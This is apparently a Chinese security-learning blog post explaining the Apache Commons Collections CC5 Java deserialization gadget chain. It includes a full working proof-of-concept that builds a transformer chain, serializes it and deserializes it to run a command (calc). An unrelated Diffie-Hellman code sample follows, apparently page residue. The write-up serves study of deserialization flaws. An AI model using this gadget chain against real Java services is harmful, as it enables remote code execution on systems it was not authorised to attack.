Java安全--CC5

后面确实学了这么多了,觉得能比较看得懂了,直接放一张CC5的调用图吧:

直接从入口来讲吧:

BadAttributeValueExpException.readObject调用了toString,只要把valObj控制为TiedMapEntry就可以走到TiedMapEntry.toString了。即实例化BadAttributeValueExpException的时候传入TiedMapEntry了。

之后TiedMapEntry.toString --> TiedMapEntry.getValue --> LazyMap.get。再往后一路都比较熟悉就不说了。直接贴代码了:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
        Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Diffie-Hellman算法是一种密钥交换协议,它可以在不安全的通信信道上协商出一个共享的密钥。下面是用JAVA实现Diffie-Hellman算法的示例代码: ```java import java.math.BigInteger; import java.security.SecureRandom; public class DiffieHellman { private static final BigInteger P = new BigInteger("FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1" + "29024E088A67CC74020BBEA63B139B22514A08798E3404DD" + "EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245" + "E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED" + "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381" + "FFFFFFFFFFFFFFFF", 16); private static final BigInteger G = BigInteger.valueOf(2); public static void main(String[] args) { // Alice and Bob generate their private keys BigInteger a = generatePrivateKey(); BigInteger b = generatePrivateKey(); // Alice and Bob calculate their public keys BigInteger A = calculatePublicKey(a); BigInteger B = calculatePublicKey(b); // Alice and Bob exchange their public keys BigInteger secretA = calculateSecretKey(a, B); BigInteger secretB = calculateSecretKey(b, A); // Check if the shared secrets are equal if (secretA.equals(secretB)) { System.out.println("Shared secret: " + secretA); } else { System.out.println("Error: shared secrets do not match"); } } private static BigInteger generatePrivateKey() { SecureRandom random = new SecureRandom(); return new BigInteger(256, random); } private static BigInteger calculatePublicKey(BigInteger privateKey) { return G.modPow(privateKey, P); } private static BigInteger calculateSecretKey(BigInteger privateKey, BigInteger publicKey) { return publicKey.modPow(privateKey, P); } } ``` 该示例代码实现了Diffie-Hellman算法的基本步骤: 1. Alice和Bob生成各自的私钥a和b; 2. Alice和Bob分别使用自己的私钥计算出公钥A和B; 3. Alice和Bob交换公钥; 4. Alice使用自己的私钥和Bob的公钥计算出共享密钥; 5. Bob使用自己的私钥和Alice的公钥计算出共享密钥; 6. Alice和Bob比较计算出的共享密钥是否相同,如果相同则表示密钥交换成功。 在实际应用中,需要注意的是,为了保证安全性,需要选择足够大的素数P和生成元G,以及随机的私钥a和b。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值